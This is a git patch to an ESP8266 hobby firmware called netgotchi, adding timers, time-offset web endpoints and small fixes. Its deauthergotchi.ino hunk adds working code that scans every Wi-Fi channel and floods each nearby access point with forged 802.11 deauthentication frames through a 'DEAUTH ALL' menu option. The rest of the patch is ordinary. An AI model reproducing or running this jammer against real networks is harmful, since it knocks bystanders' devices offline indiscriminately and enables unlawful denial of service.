From 78599b179e90f879d30f6ea4b3195cf18928473e Mon Sep 17 00:00:00 2001 From: mxzz <> Date: Mon, 10 Feb 2025 17:00:58 +0100 Subject: [PATCH] v1.63 +wip deauthergotchi +time settings +bugfixes --- netgotchi/ctrlgotchi.ino | 35 +++++++- netgotchi/deauthergotchi.ino | 156 +++++++++++++++++++++++++++++++++-- netgotchi/loader.ino | 6 ++ netgotchi/netgotchi.ino | 12 +-- netgotchi/network.ino | 12 ++- netgotchi/textgotchi.ino | 8 +- 6 files changed, 213 insertions(+), 16 deletions(-) diff --git a/netgotchi/ctrlgotchi.ino b/netgotchi/ctrlgotchi.ino index d57a579..f4f69d7 100644 --- a/netgotchi/ctrlgotchi.ino +++ b/netgotchi/ctrlgotchi.ino @@ -1,8 +1,8 @@ #include -String command[] = {"< ESPNOW RECEIVER >","< ESPNOW SENDER >", "< ON >", "< OFF >" , "< TIME 1min >", "< TIME 15min >", "< TIME 1h >", "< TIME 8h >", }; +String command[] = {"< ESPNOW RECEIVER >","< ESPNOW SENDER >", "< ON >", "< OFF >" , "< TIMER 1min >", "< TIMER 15min >", "< TIMER 1h >", "< TIMER 8h >"," < ALERT REPEAT 1h>"," < ALERT REPEAT 30m>","< ALERT REPEAT 1m>" }; String ctrlmessage = ""; -int commandLength=7; +int commandLength=11; int ctrlselectedMode = 0; String ctrlface = "(éwè)"; @@ -11,6 +11,8 @@ const long ctrlinterval = 3000; // timer at which to change the face String ctrlstatus = "__"; bool remote_controlled_status=false; unsigned long previousMillisctrl = 0; +unsigned long currentMillisAlert=0; +unsigned long previousMillisctrlAlert = 0; bool ctrltimerstarted=false; struct_message ctrlmyData; @@ -21,6 +23,7 @@ Button2 ctrlloaderButtonA; Button2 ctrlloaderButtonB; long ctrltimer = 0; +long ctrltimerAlert = 3600000; //1h timer for repeating alert void ctrlLeftButtonPressed(Button2 &btn) { ctrlselectedMode--; @@ -70,6 +73,18 @@ void ctrlAButtonPressed(Button2 &btn) { { ctrltimer=8*60 *60 * 1000; } + if(ctrlselectedMode == 8) + { + ctrltimerAlert=3600000; + } + if(ctrlselectedMode == 9) + { + ctrltimerAlert=1800000; + } + if(ctrlselectedMode == 10) + { + ctrltimerAlert=60000; + } } void ctrlBButtonPressed(Button2 &btn) { playTone(); @@ -81,7 +96,7 @@ void ctrlgotchi_setup() { WiFi.mode(WIFI_STA); - if (esp_now_init() != ERR_OK) { + if (esp_now_init() != 0) { Serial.println("Error initializing ESP-NOW"); return; } @@ -140,6 +155,16 @@ void ctrlgotchi_loop() ctrlstatus="LWR"; } + + if(ctrlselectedMode == 8) + { + //repeating message + currentMillisAlert = millis(); + if (currentMillisAlert - previousMillisctrlAlert >= ctrltimerAlert) { + crtlgotchi_sendMessage("CTRL:ALERT"); + previousMillisctrlAlert= currentMillisAlert; + } + } } void crtlgotchi_loopFace() { @@ -238,6 +263,10 @@ void crtlgotchi_updateDisplay() { { display.println("D0 timer - 8h"); } + if(ctrlselectedMode == 8) + { + display.println("ALERT each hour"); + } display.display(); } diff --git a/netgotchi/deauthergotchi.ino b/netgotchi/deauthergotchi.ino index ea8f4c5..08d3fee 100644 --- a/netgotchi/deauthergotchi.ino +++ b/netgotchi/deauthergotchi.ino @@ -1,20 +1,164 @@ -//work in progress! +extern "C" { + #include "user_interface.h" +} + +String deauth_command[] = {"< SCAN >", "< DEAUTH ALL>", "< STOP >" }; + +int deauth_selectedMode = 0; +int deauth_commandLength = 3; +Button2 deauth_ButtonLeft; +Button2 deauth_ButtonRight; +Button2 deauth_ButtonA; +Button2 deauth_ButtonB; +bool once = false; +bool deauth_showmenu = true; void deauthergotchi_setup() { + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + delay(100); displayClearDisplay(); - delay(500); display.setTextSize(1); display.setCursor(0, 5); display.println("DEAUTHERGOTCHI"); display.println(""); - display.println("Work in progress.."); - display.println("Restarting..."); display.display(); + + + deauth_ButtonLeft.begin(BTN_LEFT); + deauth_ButtonRight.begin(BTN_RIGHT); + deauth_ButtonA.begin(BTN_A); + deauth_ButtonB.begin(BTN_B); + deauth_ButtonLeft.setPressedHandler(deauth_LeftButtonPressed); + deauth_ButtonRight.setPressedHandler(deauth_RightButtonPressed); + deauth_ButtonA.setPressedHandler(deauth_AButtonPressed); + deauth_ButtonB.setPressedHandler(deauth_BButtonPressed); } void deauthergotchi_loop() { - delay(5000); - ESP.restart(); + + if( deauth_showmenu) + { + display.clearDisplay(); + display.setCursor(0, 5); + display.println("DEAUTHERGOTCHI (v_v)"); + display.println(" "); + display.println(deauth_command[deauth_selectedMode]); + } + if( deauth_selectedMode ==0 && once) + { + scanAndDisplayNetworks(); + once=false; + deauth_showmenu=false; + } + if( deauth_selectedMode ==1 && once) + { + scanNetworksAndDeauth(); + once=false; + deauth_showmenu=false; + } + + display.display(); + + deauth_ButtonLeft.loop(); + deauth_ButtonRight.loop(); + deauth_ButtonA.loop(); + deauth_ButtonB.loop(); +} + + +void deauth_LeftButtonPressed(Button2 &btn) { + deauth_selectedMode--; + if(deauth_selectedMode< 0 )deauth_selectedMode=deauth_commandLength-1; +} + +void deauth_RightButtonPressed(Button2 &btn) { + deauth_selectedMode++; + if(deauth_selectedMode>=deauth_commandLength)deauth_selectedMode=0; +} + +void deauth_AButtonPressed(Button2 &btn) { + //playTone(); + once = true; + deauth_showmenu=false; +} +void deauth_BButtonPressed(Button2 &btn) { + //playTone(); + deauth_showmenu=true; +} + +void scanAndDisplayNetworks() { + int n = WiFi.scanNetworks(); + + display.clearDisplay(); + + if (n == 0) { + display.setCursor(0,0); + display.println("No networks found"); + Serial.println("No networks found"); + display.display(); + return; + } + + int linesPerScreen = SCREEN_HEIGHT / 10; // Calculate how many lines fit on the screen + for (int start = 0; start < n; start += linesPerScreen) { + display.clearDisplay(); + + for (int i = start; i < start + linesPerScreen && i < n; ++i) { + display.setCursor(0, (i - start) * 10); + display.print(i + 1); + display.print(": "); + display.print(WiFi.SSID(i)); + + } + + display.display(); + delay(1000); // Pause to allow reading of the current screen + } + + display.display(); + +} + +void scanNetworksAndDeauth() { + for (int channel = 1; channel <= 13; channel++) { + wifi_set_channel(channel); + int n = WiFi.scanNetworks(); + display.clearDisplay(); + display.setCursor(0,10); + + display.println("Channel :"+String(channel)+" H:"+ String(n) ); + display.display(); + + for (int i = 0; i < n; ++i) { + display.setCursor(0,20); + display.println("attack running:"); + deauthClients(WiFi.BSSID(i)); + delay(100); + display.display(); + } + display.display(); + delay(1000); + display.println("complete!"); + delay(1000); + display.display(); + } +} + +void deauthClients(uint8_t *bssid) { + uint8_t packet[26] = { + 0xC0, 0x00, // Frame Control: Deauthentication + 0x3A, 0x01, // Duration + bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // Destination MAC (BSSID) + bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // Source MAC (BSSID) + bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // BSSID + 0x00, 0x00 // Sequence Number + }; + + for (int i = 0; i < 500; i++) { // Send multiple packets to ensure disconnection + wifi_send_pkt_freedom(packet, sizeof(packet), false); + delay(10); + } } \ No newline at end of file diff --git a/netgotchi/loader.ino b/netgotchi/loader.ino index 60571ab..a46837f 100644 --- a/netgotchi/loader.ino +++ b/netgotchi/loader.ino @@ -29,13 +29,19 @@ void loaderSetup() } void rightButtonPressed(Button2 &btn) { + if(hasControlsButtons) + { selectedMode++; if(selectedMode>=availableModeLength)selectedMode=0; + } } void leftButtonPressed(Button2 &btn) { + if(hasControlsButtons) + { selectedMode--; if(selectedMode < 0)selectedMode=availableModeLength-1; + } } void AButtonPressed(Button2 &btn) { diff --git a/netgotchi/netgotchi.ino b/netgotchi/netgotchi.ino index 43440f6..f70e46d 100644 --- a/netgotchi/netgotchi.ino +++ b/netgotchi/netgotchi.ino @@ -24,7 +24,7 @@ #include // Include the WiFiManager library #include -const float VERSION = 1.62; +const float VERSION = 1.63; //Oled Screen Selectors #define SCREEN_WIDTH 128 @@ -44,8 +44,7 @@ const float VERSION = 1.62; #define BTN_A 2 #define BTN_B 0 //#define BUZZER_PIN 15 //for netgotchi pro -//#define BUZZER_PIN 13 //for netgotchis v2 -#define BUZZER_PIN 13 +#define BUZZER_PIN 13 //for netgotchis v2 #define EXT_PIN_16 16 // D0 on pro #if oled_type_ssd1305 @@ -156,14 +155,13 @@ bool enableNetworkMode = true; bool shouldSaveConfig = false; bool useButtonToResetFlash = true;//false for netgotchi pro bool hasControlsButtons = false; //true for netgotchi pro +bool skipLoader=true; //false for netgotchi pro bool debug = true; bool headless = true; bool hasDisplay = true; bool carouselMode = true; bool scheduledRestart = false; bool settingMode = false; -bool skipLoader=true; - bool securityScanActive = true; bool skipFTPScan = true; int vulnerabilitiesFound = 0; @@ -254,8 +252,12 @@ static const char PROGMEM pagehtml[] = R"rawliteral( +
+
+ +

Hosts

diff --git a/netgotchi/network.ino b/netgotchi/network.ino index b8c9741..addcaba 100644 --- a/netgotchi/network.ino +++ b/netgotchi/network.ino @@ -82,7 +82,17 @@ void networkInit() }); server.on("/command/OFF", HTTP_GET, [](){ lowerPinVoltage(); - server.send(200, "text/plain", "ON command received"); + server.send(200, "text/plain", "OFF command received"); + }); + server.on("/command/TIMEPLUS", HTTP_GET, [](){ + timeOffset+=3600; + timeClient.setTimeOffset(timeOffset); + server.send(200, "text/plain", "Hour+ command received"); + }); + server.on("/command/TIMEMINUS", HTTP_GET, [](){ + timeOffset-=3600; + timeClient.setTimeOffset(timeOffset); + server.send(200, "text/plain", "Hour- command received"); }); server.begin(); diff --git a/netgotchi/textgotchi.ino b/netgotchi/textgotchi.ino index 463ea0b..33a5e08 100644 --- a/netgotchi/textgotchi.ino +++ b/netgotchi/textgotchi.ino @@ -8,6 +8,8 @@ String face = "(=*w*=)"; unsigned long textgotchipreviousMillis = 0; const long textgotchinterval = 3000; // textgotchinterval at which to change the face String textgotchistatus = "__"; +unsigned long previousMessageRecTime = 0; + struct_message myData; @@ -39,7 +41,7 @@ void textgotchi_setup() { WiFi.mode(WIFI_STA); - if (esp_now_init() != ERR_OK) { + if (esp_now_init() != 0) { Serial.println("Error initializing ESP-NOW"); return; } @@ -118,6 +120,7 @@ void OnDataRecv(uint8_t *mac, uint8_t *incomingData, uint8_t len) { memcpy(&myData, incomingData, sizeof(myData)); textreceivedMessage = String(myData.text); Serial.println("Serial message received: " + textreceivedMessage); + previousMessageRecTime = millis(); // time of last recv message playTone(); // Play tone when a new message is received } @@ -132,6 +135,9 @@ void updateDisplay() { display.println(textreceivedMessage); display.print("Sent: "); display.println(textmessage); + int secago=(millis() - previousMessageRecTime )/1000; + display.setCursor(60, 55); + display.print(" ("+String(secago) + "s ago)"); // Display keyboard at the bottom